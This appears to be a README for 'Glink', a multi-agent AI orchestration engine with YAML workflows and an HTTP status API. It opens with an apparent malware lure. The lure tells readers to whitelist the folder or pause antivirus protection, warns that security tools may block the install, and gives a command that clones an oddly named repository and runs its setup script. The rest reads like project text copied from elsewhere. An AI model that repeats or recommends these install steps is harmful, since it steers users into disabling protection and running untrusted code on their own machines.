Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/DikeVolunteerView/glink-engine-385.git
cd glink-engine-385
python setup.pyMulti-Agent. One Bus. Zero Friction.
Glink is a lightweight orchestration engine that turns your AI agents into a collaborative assembly line. Define a workflow in YAML, and Glink routes each step to the right agent — passing context, handling failures, and logging every heartbeat onto a shared JSONL blackboard. No databases, no message queues, no external dependencies.
┌─────────────────────┐
│ Your AI Agents │
│ (any LLM, any role) │
└──────┬──────┬──────┬─┘
│ │ │
┌──────────▼──────▼──────▼────────┐
│ Main Bus │
│ JSONL Blackboard │
└─────────────────────────────────┘
Append-only event log — every agent reads & writes
┌─────────────────────────────────────────────────┐
│ Glink Engine (daemon + API) │
│ Routes steps → picks agents → logs results │
│ Checkpoints on every success → crash-survive │
└─────────────────────────────────────────────────┘
cd glink
python3 glink-daemon.py sandbox-builder --force
python3 glink-daemon.py sandbox-builder --step 4
python3 glink-daemon.py --serve
---
## Features
| Feature | Description |
|:--------|:------------|
| **YAML Workflows** | Define steps, agents, dependencies, and fallbacks in one file |
| **Main Bus** | JSONL blackboard — append-only, agent-agnostic, replayable |
| **Smart Routing** | Primary agent down? Auto-fallback to the next in line |
| **Checkpoint Resume** | Crash mid-workflow? Restart picks up exactly where it left off |
| **Dependency Graph** | Steps can `depends_on` each other; Glink handles ordering |
| **Retry Loop** | Auto-retry failed steps (configurable, default 2×) |
| **HTTP API + SSE** | Live status, agent health, and event stream on `:8426` |
| **Healthcheck Cron** | Self-healing — daemon restarts on crash, alerts via webhook |
---
## Workflow Example
```yaml
name: sandbox-builder
version: 0.2.0
global_context: |
Three.js r160 + Cannon-es. Output: single HTML file.
steps:
- id: step-1
executor: Agent A
title: Scene setup
description: Three.js scene + camera + lights + render loop
output_file: projects/sandbox-builder/scene.html
- id: step-2
executor: Agent A
title: Block placement
description: Raycasting + grid snap + 6 materials
input_file: projects/sandbox-builder/scene.html
output_file: projects/sandbox-builder/blocks.html
- id: step-5
executor: Agent B
title: Glassmorphism UI
description: Toolbar + score panel with backdrop-filter
fallback_agents: [Agent A, Default]
input_file: projects/sandbox-builder/blocks.html
output_file: projects/sandbox-builder/ui.html
Define your own agents in glink-daemon.py — map each to a port, a name, and a specialty.
AGENT_PORTS = {
"engineer": "http://127.0.0.1:8431/ask",
"designer": "http://127.0.0.1:8432/ask",
"tester": "http://127.0.0.1:8433/ask",
}Workflow steps reference agents by name; the daemon assigns the work automatically.
| Method | Endpoint | Description |
|---|---|---|
GET |
/health |
Liveness check → {"status":"ok"} |
GET |
/status |
Full project status + step-by-step progress |
GET |
/status/agents |
Which agents are online right now |
GET |
/status/events?n=20 |
Last N Bus events |
POST |
/restart |
Resume from last checkpoint |
POST |
/restart?force |
Force restart from step 1 |
POST |
/restart?step=N |
Jump to step N |
sandbox-builder — 10 steps × 5 agents → 97 KB / 2,751 lines of playable HTML.
Three.js sandbox game with physics, procedural textures, glassmorphism UI, save/load, scoring, and achievements — built entirely by agent collaboration, no human code touched.
MIT